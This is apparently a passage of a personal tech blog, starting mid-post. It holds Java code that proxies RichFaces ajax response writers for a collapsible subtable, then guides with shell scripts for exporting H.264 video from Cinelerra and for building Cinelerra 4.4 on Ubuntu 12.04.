The two additional things I needed to do was CGLIB proxy ExtendedPartialViewContext as well, in order to get at the right spot to proxy PartialResponseWriter.

I also had to use reflection to set the resulting PartialResponseWriter proxy on the current FacesContext.

Here is the full code for the hack:

/**
* The ajax response modification allows us to re-render only the subtable we want on ajax requests, rather than
* the whole master table.
*
* @author Val Blant
*/
public class FixedUICollapsibleSubTable extends UICollapsibleSubTable {

/**
 * This method installs hooks into the <code>PartialResponseWriter</code> used to put together an ajax 
 * response that involves our Collapsible Sub Table. We use CGLIB proxies to intercept the startUpdate() 
 * call and manipulate the clientId used in writing the response.
 */
@Override
public boolean visitTree(VisitContext visitContext, VisitCallback callback) {
	FacesContext facesContext = FacesContext.getCurrentInstance();
	PartialViewContext viewContext = facesContext.getPartialViewContext();
	
	boolean magicEnabled = false;
	if ( visitContext instanceof RenderExtendedVisitContext ) { // Only do this for render phase
		if ( viewContext instanceof ExtendedPartialViewContext ) { // Should always be true unless RF4 changes something
			magicEnabled = true;

			// Proxy the View Context and set it into the FacesContext
			//
			ExtendedPartialViewContext proxy = proxyViewContext(viewContext);
			replaceViewContext(facesContext, proxy);
		}
		
	}
	
	// Visit the subtable with proxied PartialResponseWriter
	//
	boolean result = super.visitTree(visitContext, callback);
	
	// Restore the original objects
	//
	if ( magicEnabled ) {
		replaceViewContext(facesContext, viewContext);
	}
	
	return result;
}

/**
 * @param viewContext
 * @return CGLIB proxy of the passed in <code>PartialViewContext</code>
 * @see PartialViewContextInterceptor
 */
private ExtendedPartialViewContext proxyViewContext(PartialViewContext viewContext) {
	Enhancer enhancer = new Enhancer();
	enhancer.setSuperclass(ExtendedPartialViewContext.class);
	enhancer.setCallback(new PartialViewContextInterceptor((ExtendedPartialViewContext)viewContext));
	
	ExtendedPartialViewContext proxy = (ExtendedPartialViewContext) enhancer.create(
			new Class[] {FacesContext.class}, 
			new Object[] {FacesContext.getCurrentInstance()});
	
	return proxy;
}

/**
 * Replaces the <code>PartialViewContext</code> inside the given facesContext
 * 
 * @param facesContext
 * @param viewContext
 */
private void replaceViewContext(FacesContext facesContext, PartialViewContext viewContext) {
	try {
		Field f = facesContext.getClass().getDeclaredField("partialViewContext");
		f.setAccessible(true);
		f.set(facesContext, viewContext);
	} catch (Exception e) {
		throw new IllegalStateException(e);
	}
}


/**
 * Intercepts calls to getPartialResponseWriter() in order to return a proxied <code>PartialResponseWriter</code>
 * with our customizations.
 */
private class PartialViewContextInterceptor implements MethodInterceptor {
	private ExtendedPartialViewContext originalContext;
	public PartialViewContextInterceptor(ExtendedPartialViewContext originalContext) {
		this.originalContext = originalContext;
	}

	public Object intercept(Object object, Method method, Object[] args, MethodProxy methodProxy) throws Throwable {
		if ( "getPartialResponseWriter".equals(method.getName()) ) {
			return proxyResponseWriter();
		}
		else {
			return method.invoke(originalContext, args);
		}
	}
	
	/**
	 * @return CGLIB proxy of the <code>PartialResponseWriter</code>
	 * @see ResponseWriterInterceptor
	 */
	private PartialResponseWriter proxyResponseWriter() {
		PartialResponseWriter origWriter = originalContext.getPartialResponseWriter();
		Enhancer enhancer = new Enhancer();
		enhancer.setSuperclass(PartialResponseWriter.class);
		enhancer.setCallback(new ResponseWriterInterceptor(origWriter));
		
		PartialResponseWriter proxy = (PartialResponseWriter) enhancer.create(
				new Class[] {ResponseWriter.class}, 
				new Object[] {origWriter.getWrapped()});
		
		return proxy;
	}
	
}

/**
 * Intercepts calls to startUpdate() method in order to modify the clientId.
 * 
 * This is necessary, b/c we are no longer using the stock version of the Collapsible Sub Table from RF4.
 * We made a lot of modifications which change the HTML structure of the table. One change involves not rendering
 * the 'tbody' tag with id that matches the clientId of our subtable component. We are only rendering the content 
 * 'tbody', which has the id with form: "{clientId}:c".
 *  
 * The purpose of this interceptor is to make sure that the ajax update response targets the content 'tbody', rather than
 * now missing 'tbody'.
 */
private class ResponseWriterInterceptor implements MethodInterceptor {
	private PartialResponseWriter originalWriter;
	public ResponseWriterInterceptor(PartialResponseWriter originalWriter) {
		this.originalWriter = originalWriter;
	}

	public Object intercept(Object object, Method method, Object[] args, MethodProxy methodProxy) throws Throwable {
		if ( "startUpdate".equals(method.getName()) ) {
			String clientId = args[0].toString();
			
			if ( FixedUICollapsibleSubTable.this.getClientId().equals(clientId) ) { // Make sure the update is for our table
				clientId += ":c";
				return method.invoke(originalWriter, new Object[] {clientId});
			}
		}

		return method.invoke(originalWriter, args);
	}
}


}

Exporting H.264 from Cinelerra

Tags

This article will discuss creation of H.264 videos from Cinelerra on Ubuntu 12.04. A lot of the information was synthesized from
Olson Video and Websites.

Built-in H.264 Export

In the Renderer select “Quicktime for Linux”, and then use the H.264 compression option for video, and MPEG-4 Audio for sound:

01 H.264 - built-in

The problem with this approach is that Cinelerra provides very few settings to customize the encoding. I can achieve a much higher quality for the same size by using 2-pass encoding with the x264 utility. Luckily for us, Cinelerra has YUV4MPEG Stream option.

YUV4MPEG Stream

YUV4MPEG Stream allows us to pipe the video stream out of Cinelerra into an arbitrary tool chain. In this case the tool chain is my script that uses named pipes to encode the video with x264.

The script was adopted from here: http://www.renomath.org/ejolson/video/hddvd/264wf.html
I used http://www.renomath.org/ejolson/video/hddvd/pipe-x264 as a starting point.

Preparation

  1. Make sure that you have the x264 package installed.
  2. Save the code provided in the last section of this post as /usr/local/bin/pipe-x264.sh
  3. Make /usr/local/bin/pipe-x264.sh executable.
  4. Specify the desired resolution and FPS in the script. See code in the last section, which shows you which lines to modify.
  5. Cinelerra must be launched from the command line, so that you can see the console output.

Export Steps

1) Export The Sound

In the Renderer select “Microsoft WAV” for File Format, check Audio and uncheck Video. Export.

2) First Pass Video

In the Renderer select “YUV4MPEG Stream” for File Format, check Video and uncheck Audio. In the settings check “Use Pipe” and type the following:

$ /usr/local/bin/pipe-x264.sh -p 1 -b 1000 "%"

The first parameter (-p) is the pass number. The second (-b) is the bitrate you want. Make sure that the path points to where you’ve saved the script, that I’ll give you below.

If all works well, the video should start encoding. To check if it is actually working, you must launch Cinelerra from the command line and look at the console output after you start rendering. You should see x264 command call printed and x264 should be running and printing stuff to the console. If something went wrong, you’ll see an error instead. If you can’t figure out what’s wrong from the output, leave a comment and I might try to help.

The output in the console should look something like this:

Running pass 1:
     x264 /tmp/cine_pipe --input-res 1920x1080 --fps 59.9401 --bitrate 1000     --pass 1 --stats "/mnt/hde/temp/work/gym_2013-03-07/test40.stats"     --bframes 2 --b-adapt 2     --direct auto     --threads auto     --output "/mnt/hde/temp/work/gym_2013-03-07/test40.m2v"

[yuv4mpegpipe @ 0x15ae720] Estimating duration from bitrate, this may be inaccurate
lavf [info]: 1920x1080p 0:1 @ 60000/1001 fps (cfr)
x264 [info]: using cpu capabilities: MMX2 SSE2Fast SSSE3 FastShuffle SSE4.2
x264 [info]: profile Main, level 4.2
Render::render_single: Session finished.
x264 [info]: frame I:1     Avg QP:43.42  size: 10362
x264 [info]: frame P:49    Avg QP:39.33  size:  3682
x264 [info]: frame B:95    Avg QP:41.30  size:   788
x264 [info]: consecutive B-frames:  0.7%  4.1% 95.2%
x264 [info]: mb I  I16..4: 97.9%  0.0%  2.1%
x264 [info]: mb P  I16..4: 11.4%  0.0%  0.0%  P16..4:  9.3%  0.0%  0.0%  0.0%  0.0%    skip:79.2%
x264 [info]: mb B  I16..4:  0.7%  0.0%  0.0%  B16..8:  2.8%  0.0%  0.0%  direct: 1.0%  skip:95.6%  L0:39.7% L1:59.7% BI: 0.6%
x264 [info]: final ratefactor: 34.33
x264 [info]: direct mvs  spatial:88.4% temporal:11.6%
x264 [info]: coded y,uvDC,uvAC intra: 1.7% 25.6% 1.4% inter: 0.2% 1.5% 0.0%
x264 [info]: i16 v,h,dc,p: 46% 31% 16%  7%
x264 [info]: i4 v,h,dc,ddl,ddr,vr,hd,vl,hu: 16% 25% 36%  2%  3%  6% 10%  2%  1%
x264 [info]: i8c dc,h,v,p: 76% 12% 11%  2%
x264 [info]: Weighted P-Frames: Y:0.0% UV:0.0%
x264 [info]: kb/s:878.42

3) Second Pass Video

Once the first pass render is finished, go back to Video Settings in the Renderer and change the pipe command to run the second pass (-p 2):

$ /usr/local/bin/pipe-x264.sh -p 2 -b 1000 "%"

Again check the console to make sure that encoding has started.

4) Multiplex Video and Sound

The previous steps should have produced two files: test40.m2v and test40.wav. We need to multiplex them into a container:

$ ffmpeg -i test40.m2v -i test40.wav -acodec libmp3lame -ab 128k -ar 48000 -vcodec copy test40.avi

Here is a handy script to keep around for this step:

#!/bin/bash
# Multiplex video and sound
#

if [[ $# -lt 2 ]] ; then
    echo
    echo "  Usage: $0 <video file> <sound file>"
    echo
    exit 1
fi

command="ffmpeg -i $1 -i $2 -acodec libmp3lame -ab 128k -ar 48000 -vcodec copy ${1%%.*}.avi"

echo $command
eval $command

Mission Accomplished

You should now have a nice H.264 avi file.

Note that the .m2v file will probably not play correctly in any player, but that is ok, b/c after we multiplex it with sound the resulting file plays everywhere.

pipe-x264.sh

Please note that you have to set the desired resolution and framerate on the lines highlighted below.

#!/bin/bash
#
# Use this script to export H.264 videos from Cinelerra
#

# Change these to suite your needs
######## Canon G6 ##############
#frame_rate=10
#resolution=640x480
######## Sony A57 ##############
frame_rate=59.9401
resolution=1920x1080

pass=1
bit_rate=10000

help(){
    cat <<END
Usage: $0 [options] filename.anything
Options:
    -b n      bitrate n                             ($bit_rate)
    -p n      pass n                                ($pass)
    -h        Print this help message
END
    exit 0
}

while getopts b:p:h name "$@"
do
    case $name in
b)
	bit_rate=$OPTARG ;;
p)
	pass=$OPTARG ;;
*)
    help ;;
    esac
done
let shiftind=$OPTIND-1
shift $shiftind
if test "$#" != "1"
then
    help
fi

outfile=$1
base=`echo $outfile | sed "s/\.[^.]*$//"`

command="x264 /tmp/cine_pipe --input-res $resolution --fps $frame_rate --bitrate $bit_rate \
    --pass $pass --stats \"$base.stats\" \
    --bframes 2 --b-adapt 2 \
    --direct auto \
    --threads auto \
    --output \"$outfile\""

# Make a named pipe
rm /tmp/cine_pipe 2> /dev/null
mkfifo /tmp/cine_pipe

echo "Running pass $pass:"
echo "     $command"
echo

# Run the encoding command. It will block and wait for cat to start feeding data into the pipe
eval "$command &"

cat > /tmp/cine_pipe

Hope this helps.

Installing Cinelerra 4.4 on Ubuntu 12.04

This article provides step-by-step instructions for installing Cinelerra 4.4.

I upgraded my main workstation to Ubuntu 12.04 recently, briefly looked at PiTiVi and decided that Cinelerra is still the only capable video editor for Linux, despite its many flaws.

This post provides step-by-step instructions for compiling and installing Cinelerra 4.4.

Install Dependencies

Here is the list of dependencies that I know about. At a minimum you’ll need these packages, although there may be more. If the compile fails on a dependency, simply look at the last few lines of the output and the error should tell you what it’s missing.

$ sudo apt-get install wget bzip2 patch build-essential w32codecs w64codecs libtool nasm libncurses5-dev libbz2-dev libncursesw5-dev libxv-dev libxxf86vm-dev libogg-dev libvorbis-dev libtheora-dev libopenexr-dev libdv-dev libpng-dev libjpeg62-dev libfreetype6-dev libfaad-dev libsndfile1-dev uuid-dev libavutil-dev libmpeg3-dev libavcodec-dev libx264-dev libfaac-dev libglu1-mesa-dev libmjpegtools-dev

Download Source

$ wget http://downloads.sourceforge.net/project/heroines/cinelerra-4.4-src.tar.xz
$ tar xvf cinelerra-4.4-src.tar.xz

You should now have a directory called cinelerra-4.4

Apply Patches

You will need to apply two patches from the Community Version of Cinelerra to add dnxhd and dv50 codec support and YUV Stream support. This was easy, b/c the patches applied cleanly.

$ wget http://renomath.org/video/linux/cinelerra/patch-cinelerra-4.4-dnxhd
$ wget http://renomath.org/video/linux/cinelerra/patch-cinelerra-4.4-yuvstream
$ patch -Np1 -d cinelerra-4.4 < patch-cinelerra-4.4-dnxhd
$ patch -Np1 -d cinelerra-4.4 < patch-cinelerra-4.4-yuvstream

I found out about these patches from Eric Olson’s site: http://renomath.org/video/linux/cinelerra/

Build

$ cd cinelerra-4.4
$ ./configure
$ make

The install target does not work, so don’t bother with it. After make succeeds, the Cinelerra binary will be in the bin/ folder. So, to run Cinelerra:

$ cd bin
# ./cinelerra

Importing AVCHD

I mostly use Cinelerra to work with AVCHD video from my Sony DSLR, which shoots at 1080p with 60 FPS. Cinelerra cannot read the resulting MTS files, so I have to convert them to dnxhd (AVdn) format first:

$ ffmpeg -i 00014-360_2.MTS -b 185M -vcodec dnxhd -acodec pcm_s16le -threads 4 output.mov

Also, I could not get Cinelerra to read the sound from the resulting file (complains about missing ‘lpcm’ codec), so I had to take another intermediate step to extract the audio from the file, so I can import it separately:

$ mplayer output.mov -vo null -vc dummy -ao:file=sound.wav

Once I import output.mov into Cinelerra, I delete the audio tracks and I replace them with sound.wav, which work well.

Improvements

Aside from some new features here and there, the most obvious advantage of Cinelerra 4.4 over the Community Version is that the video processing and playback appears to be faster. I get about 10 FPS in cinelerra-cv, whereas Cinelerra 4.4 gives me 20 FPS, which makes the video manipulation and playback much smoother. Nice.

Missing Faders in Video Tracks

Aside from some minor problems, like missing icons for transitions and other resources, the most severe problem I ran into was the missing Fader line in video tracks. The audio tracks still had the Faders, but in Video tracks the horizontal white line was just gone.

Here is what it looks like:

Missing Faders

If this happens to you, the fix is to press the 3rd button from the right in the tool bar. It is called “Fit autos to display (Alt + f)”. What it will do is change the fade range in the drop down at the bottom from “-10.00 – 10.00” to something like “-33.00 – 133.00” in my case. You can also select “0 – 100” from that drop down as an alternative.